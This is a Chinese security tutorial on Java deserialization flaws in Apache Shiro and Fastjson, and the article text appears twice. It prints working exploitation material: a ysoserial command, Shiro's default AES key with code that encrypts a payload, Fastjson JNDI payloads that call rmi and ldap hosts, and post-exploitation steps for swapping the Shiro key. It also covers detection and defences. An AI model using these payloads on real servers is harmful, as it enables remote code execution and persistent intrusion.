深信服西部天威战队:Java反序列漏洞总结
字数 3065 2025-08-12 11:33:45

Java反序列化漏洞全面解析与防御指南

一、序列化与反序列化基础

1.1 基本概念

  • Java序列化:将Java对象转换为字节序列的过程
  • Java反序列化:将字节序列恢复为Java对象的过程

1.2 序列化的作用

  1. 数据持久化:将数据永久保存在硬盘上
  2. 远程通信:在网络上传递对象的字节序列
  3. 内存管理:如Web服务器中的Session会话对象管理

1.3 实现方式

关键类

  • ObjectOutputStream:对象输出流
    • writeObject(Object object):将对象以二进制格式写入
  • ObjectInputStream:对象输入流
    • readObject():从输入流中读取二进制流并转换为对象

实现要求

  • 目标类必须实现Serializable接口
  • 建议定义serialVersionUID字段作为序列化版本号
public class Users implements Serializable {
    private static final long serialVersionUID = 3919559144903359124L;
    // 类成员和方法...
}

二、常见存在反序列化漏洞的框架

2.1 Apache Shiro

2.1.1 Shiro核心架构

  1. Subject:代表当前用户
  2. SecurityManager:管理所有Subject,Shiro架构的核心
  3. Realms:负责获取用户权限和角色信息

2.1.2 Shiro-550漏洞原理

  1. 用户登录成功后生成加密的RememberMe Cookie

  2. 服务端解析Cookie步骤:

    • 检索RememberMe Cookie值
    • Base64解码
    • AES解密
    • 反序列化操作(漏洞点:未过滤的readObject())
  3. 默认AES密钥(Shiro1.2.4之前):
    kPH+bIxk5D2deZiIxcaaaA==

2.1.3 漏洞检测方法

  1. URLDNS利用链:使用ysoserial生成探测payload
  2. CC利用链盲打:生成ping dnslog payload
  3. PrincipalCollection探测
    • 构造继承PrincipalCollection的序列化对象
    • Key正确:Set-Cookie不返回deleteMe
    • Key错误:Set-Cookie返回deleteMe

2.1.4 漏洞复现步骤

  1. 使用ysoserial生成CommonsBeanutils_183的Gadget:

    java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils_183 "open -a Calculator" > poc.ser
    
  2. 使用Shiro默认密钥加密payload:

    AesCipherService aes = new AesCipherService();
    byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));
    ByteSource ciphertext = aes.encrypt(payloads, key);
    
  3. 发送生成的rememberMe Cookie实现命令执行

2.1.5 Shiro后渗透技术

使用Agent技术修改key

  1. 工具:AgentInjectTool
  2. 操作步骤:
    java -jar AgentInjectTool.jar list  # 获取Shiro进程PID
    java -jar AgentInjectTool.jar inject {pid} {file.txt|shirokey}
    
  3. 原理:hook AbstractRememberMeManager类并调用setCipherKey方法

相关工具

  • ShiroAttack2:https://github.com/SummerSec/ShiroAttack2
  • 改造后的ysoserial:https://github.com/KpLi0rn/ysoserial
  • BurpShiroPassiveScan:https://github.com/pmiaowu/BurpShiroPassiveScan

2.2 Fastjson

2.2.1 漏洞原理

  • AutoType功能:允许通过"@type"指定反序列化的Class类型
  • 漏洞点:未对@type字段进行充分安全性验证,可传入危险类

2.2.2 AutoType黑名单机制

  1. Fastjson通过Hash算法存储存在安全风险的Class全路径Hash值
  2. 版本差异:
    • 1.2.25-1.2.42:明文黑名单
    • 更高版本:哈希黑名单

2.2.3 检测方法

  1. 有回显检测

    • 使用不闭合花括号方式触发报错
    • 报错信息中通常包含"fastjson"字样
  2. 无回显检测

    • 通过DNS回显判断:
      {"@type":"java.net.Inet4Address","val":"dnslog"}
      {"@type":"java.net.Inet6Address","val":"dnslog"}
      
  3. DOS延迟判断

    • Fastjson1.2.36-1.2.62存在正则表达式拒绝服务漏洞
    • 使用{"a":"\x请求会触发DOS

2.2.4 各版本利用Payload

影响版本 利用条件 Payload示例
<=1.2.24 标准JNDI注入
<=1.2.41 autoTypeSupport=true {"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}
<=1.2.42 autoTypeSupport=true {"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}
<=1.2.47 特殊构造的JNDI注入
<=1.2.62 {"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1098/exploit"}
<=1.2.68 JRE 8下 写文件利用链

2.2.5 利用链分类

  1. JNDI注入(需要出网):

    • JdbcRowSetImpl
    • C3p0#JndiRefForwardingDataSource
    • JndiDataSourceFactory
  2. BCEL利用(不出网):

    • 适用于Java 8u251之前版本
    • 利用Apache Commons BCEL类
    • 示例:
      {
        "aaa": {
          "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
          "driverClassLoader": {
            "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
          },
          "driverClassName": "
      

\[BCEL \]

\(l\)8b\(I$A\)..."
}
}
```

三、防御措施

3.1 通用防御策略

  1. 升级到最新安全版本
  2. 禁用或限制反序列化功能
  3. 实施严格的输入验证
  4. 使用白名单机制限制可反序列化的类

3.2 框架特定防御

Shiro

  1. 升级到最新版本
  2. 修改默认加密密钥
  3. 禁用RememberMe功能(如不需要)

Fastjson

  1. 关闭autotype功能:ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
  2. 使用安全模式:ParserConfig.getGlobalInstance().setSafeMode(true);
  3. 自定义反序列化白名单

四、工具资源

  1. 漏洞检测工具

    • ysoserial:https://github.com/frohoff/ysoserial
    • ShiroAttack2:https://github.com/SummerSec/ShiroAttack2
    • BurpShiroPassiveScan:https://github.com/pmiaowu/BurpShiroPassiveScan
  2. 密钥修改工具

    • AgentInjectTool:https://github.com/SummerSec/AgentInjectTool
  3. 黑名单参考

    • Fastjson黑名单:https://github.com/LeadroyaL/fastjson-blacklist
  4. 改造工具

    • 改造后的ysoserial:https://github.com/KpLi0rn/ysoserial

通过全面理解这些反序列化漏洞的原理、检测方法和防御措施,安全人员可以更有效地识别和防范相关风险,保护系统安全。

Java反序列化漏洞全面解析与防御指南 一、序列化与反序列化基础 1.1 基本概念 Java序列化 :将Java对象转换为字节序列的过程 Java反序列化 :将字节序列恢复为Java对象的过程 1.2 序列化的作用 数据持久化:将数据永久保存在硬盘上 远程通信:在网络上传递对象的字节序列 内存管理:如Web服务器中的Session会话对象管理 1.3 实现方式 关键类 : ObjectOutputStream :对象输出流 writeObject(Object object) :将对象以二进制格式写入 ObjectInputStream :对象输入流 readObject() :从输入流中读取二进制流并转换为对象 实现要求 : 目标类必须实现 Serializable 接口 建议定义 serialVersionUID 字段作为序列化版本号 二、常见存在反序列化漏洞的框架 2.1 Apache Shiro 2.1.1 Shiro核心架构 Subject :代表当前用户 SecurityManager :管理所有Subject,Shiro架构的核心 Realms :负责获取用户权限和角色信息 2.1.2 Shiro-550漏洞原理 用户登录成功后生成加密的RememberMe Cookie 服务端解析Cookie步骤: 检索RememberMe Cookie值 Base64解码 AES解密 反序列化操作(漏洞点:未过滤的readObject()) 默认AES密钥(Shiro1.2.4之前): kPH+bIxk5D2deZiIxcaaaA== 2.1.3 漏洞检测方法 URLDNS利用链 :使用ysoserial生成探测payload CC利用链盲打 :生成ping dnslog payload PrincipalCollection探测 : 构造继承PrincipalCollection的序列化对象 Key正确:Set-Cookie不返回deleteMe Key错误:Set-Cookie返回deleteMe 2.1.4 漏洞复现步骤 使用ysoserial生成CommonsBeanutils_ 183的Gadget: 使用Shiro默认密钥加密payload: 发送生成的rememberMe Cookie实现命令执行 2.1.5 Shiro后渗透技术 使用Agent技术修改key : 工具:AgentInjectTool 操作步骤: 原理:hook AbstractRememberMeManager类并调用setCipherKey方法 相关工具 : ShiroAttack2:https://github.com/SummerSec/ShiroAttack2 改造后的ysoserial:https://github.com/KpLi0rn/ysoserial BurpShiroPassiveScan:https://github.com/pmiaowu/BurpShiroPassiveScan 2.2 Fastjson 2.2.1 漏洞原理 AutoType功能 :允许通过"@type"指定反序列化的Class类型 漏洞点:未对@type字段进行充分安全性验证,可传入危险类 2.2.2 AutoType黑名单机制 Fastjson通过Hash算法存储存在安全风险的Class全路径Hash值 版本差异: 1.2.25-1.2.42:明文黑名单 更高版本:哈希黑名单 2.2.3 检测方法 有回显检测 : 使用不闭合花括号方式触发报错 报错信息中通常包含"fastjson"字样 无回显检测 : 通过DNS回显判断: DOS延迟判断 : Fastjson1.2.36-1.2.62存在正则表达式拒绝服务漏洞 使用 {"a":"\x 请求会触发DOS 2.2.4 各版本利用Payload | 影响版本 | 利用条件 | Payload示例 | |---------|---------|------------| | <=1.2.24 | 无 | 标准JNDI注入 | | <=1.2.41 | autoTypeSupport=true | {"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true} | | <=1.2.42 | autoTypeSupport=true | {"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true} | | <=1.2.47 | 无 | 特殊构造的JNDI注入 | | <=1.2.62 | 无 | {"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1098/exploit"} | | <=1.2.68 | JRE 8下 | 写文件利用链 | 2.2.5 利用链分类 JNDI注入 (需要出网): JdbcRowSetImpl C3p0#JndiRefForwardingDataSource JndiDataSourceFactory BCEL利用 (不出网): 适用于Java 8u251之前版本 利用Apache Commons BCEL类 示例: 三、防御措施 3.1 通用防御策略 升级到最新安全版本 禁用或限制反序列化功能 实施严格的输入验证 使用白名单机制限制可反序列化的类 3.2 框架特定防御 Shiro : 升级到最新版本 修改默认加密密钥 禁用RememberMe功能(如不需要) Fastjson : 关闭autotype功能: ParserConfig.getGlobalInstance().setAutoTypeSupport(false); 使用安全模式: ParserConfig.getGlobalInstance().setSafeMode(true); 自定义反序列化白名单 四、工具资源 漏洞检测工具 : ysoserial:https://github.com/frohoff/ysoserial ShiroAttack2:https://github.com/SummerSec/ShiroAttack2 BurpShiroPassiveScan:https://github.com/pmiaowu/BurpShiroPassiveScan 密钥修改工具 : AgentInjectTool:https://github.com/SummerSec/AgentInjectTool 黑名单参考 : Fastjson黑名单:https://github.com/LeadroyaL/fastjson-blacklist 改造工具 : 改造后的ysoserial:https://github.com/KpLi0rn/ysoserial 通过全面理解这些反序列化漏洞的原理、检测方法和防御措施,安全人员可以更有效地识别和防范相关风险,保护系统安全。